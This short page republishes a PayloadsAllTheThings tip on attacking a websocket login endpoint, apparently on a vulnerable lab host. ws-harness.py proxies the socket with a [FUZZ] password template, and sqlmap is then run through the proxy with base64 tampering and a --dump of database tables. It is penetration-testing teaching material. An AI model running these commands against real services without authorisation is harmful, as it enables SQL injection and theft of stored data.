Web Sockets: Using ws-harness.py

OtherExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.

powershell
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt

The content of the message should contains the [FUZZ] keyword.

json
{
    "auth_user":"dGVzda==",
    "auth_pass":"[FUZZ]"
}

Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.

python
sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump

Comments

No comments yet.